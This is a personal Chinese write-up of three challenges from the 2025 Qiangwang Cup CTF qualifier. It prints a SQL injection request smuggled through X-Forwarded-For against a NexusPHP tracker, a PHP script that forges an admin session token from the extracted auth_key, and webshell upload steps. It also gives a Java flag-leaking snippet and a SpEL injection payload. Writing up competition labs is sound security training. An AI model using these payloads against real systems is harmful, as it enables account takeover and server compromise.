第九届“强网杯”全国网络安全挑战赛初赛 2025 个人题解 Writeup

PTer

/openresty/sites/app.conf,可能就是题目所说的安全更新 ?

那我们重点关注/announce.php

a

IP这里是可控的,可以伪造IP,直接拼接会造成sql注入

945a5261-e8a3-4fb5-9729-9bf07b3520d3

可以sql注入,但是密码加盐了

获取一个种子文件的info_hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib
import bencodepy
def calculate_info_hash(torrent_file_path):
# 读取种子文件
with open(torrent_file_path, 'rb') as f:
torrent_data = f.read()
# 解析种子文件
torrent = bencodepy.decode(torrent_data)
# 获取info字典并计算其SHA1哈希
info_dict = torrent[b'info']
info_bencoded = bencodepy.encode(info_dict)
info_hash = hashlib.sha1(info_bencoded).digest()
return info_hash
# 使用示例
torrent_path = "zhongzi.torrent"
info_hash = calculate_info_hash(torrent_path)
# 输出十六进制格式
print("info_hash (hex):", info_hash.hex())
# 输出URL编码格式(用于HTTP请求)
url_encoded = ''.join(['%%%02X' % b for b in info_hash])
print("info_hash (URL encoded):", url_encoded)

#info_hash (hex): 2caa6a5f5227bea76bbe4ab88a2da4b5cd6b7c1f
#info_hash (URL encoded): %2C%AA%6A%5F%52%27%BE%A7%6B%BE%4A%B8%8A%2D%A4%B5%CD%6B%7C%1F

nexusPHP对客户端类型有要求,禁止一些客户端进行连接,通过peer_id和User-Agent来识别客户端

不知道为什么,我这里sql注入无法稳定出现,需要多次发包

sql注入手注数据包(yakit)

1
2
3
4
5
6
7
8
9
GET /announce.php?passkey=0ef547977bb67b8fdf34dbba8ac28efa&info_hash=%2C%AA%6A%5F%52%27%BE%A7%6B%BE%4A%B8%8A%2D%A4%B5%CD%6B%7C%1F&peer_id=-UT2000-121466780701&port=3881&downloaded=0&uploaded=0&left=0&ipx=15.{{int(1-2)}}.3.5&event=stopped HTTP/1.1
Host: pter.qwb.local
Cookie: c_secure_pass=eyJ1c2VyX2lkIjoiMTAwMDIiLCJleHBpcmVzIjoxNzkyMjk1OTczfS43ODA1MTVhYjkwNGNlOWZlYTY5OTcxMmEwNGMxNTRhZTY5ZmM2YzIxM2YzZGRhNGI0ZWY1ZDhiMmZiYWU4N2Zk
Upgrade-Insecure-Requests: 1
User-Agent: uTorrent/2000
X-Forwarded-For: 1' UNION ( SELECT 1 FROM users WHERE (username='admin' and auth_key > '73ec97f741') ) -- # '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

我手注一晚上的成果

1
2
3
4
5
6
7
8
9
#passhash
3f54e9d81e9ce7a9c275c0e947db6bda1be213e868769461d03c3377b0eead18

#secret(没注完)
4bb3ce43697

#直接用auth_key生成cookie就好
auth_key
73ec97f74152abca89d44ec21be2e46b54b86947

密码加盐了,但是我们可以直接注入获取auth_key来生成token

通过注入获取admin用户的auth_key生成c_secure_pass

分析一下token的生成逻辑

3

模仿这里的代码写一个php小脚本来生成token

1
2
3
4
5
6
7
8
9
10
<?php
$authKey="73ec97f74152abca89d44ec21be2e46b54b86947";
$tokenData = [
'user_id' => '1',
'expires' => '1792295973',
];
$tokenJson = json_encode($tokenData);
$signature = hash_hmac('sha256', $tokenJson, $authKey);
$authToken = base64_encode($tokenJson . '.' . $signature);
echo $authToken;

登录到后台

修改网站设置,开启附件上传功能,添加php到文件上传白名单,同时修改附件保存位置到public,以便上传的webshell可以被我们访问4

分析attachement.php

5

发现会上传文件到$savepath,这个变量是我们可以设置的附件保存位置,并且虽然对文件进行了重命名,但文件名是可以预测的,$filename是当前YmdHis拼接$filemd5

7

模拟php的md5_file()函数获取文件的md5哈希,或者用cyberchef

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

def md5_file(file_path):
"""模拟 PHP 的 md5_file() 函数"""
with open(file_path, 'rb') as f:
file_content = f.read()
md5_hash = hashlib.md5(file_content).hexdigest()
return md5_hash

# 使用示例
file_path = "evil.php"
hash_value = md5_file(file_path)
print(f"MD5: {hash_value}")

getshell

7

yamcs

没啥好说的

Algorithms可以执行java代码,通过抛出报错外带flag

1
2
3
4
5
6
7
8
try {
String flag = new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag")));
// 直接抛出包含flag的异常
throw new RuntimeException("FLAG: " + flag);
} catch (Exception e) {
// 重新抛出,确保错误信息包含flag
throw new RuntimeException("FLAG: " + e.getMessage(), e);
}

yamcs

bbjv

bbjv

似乎将user.home修改为/tmp就能获取到flag了

Properties类实现了Map接口,我们可以尝试Map的方法:

payload

1
/check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D+%3D+%27%2Ftmp%27%7D

忘记发了💦💦💦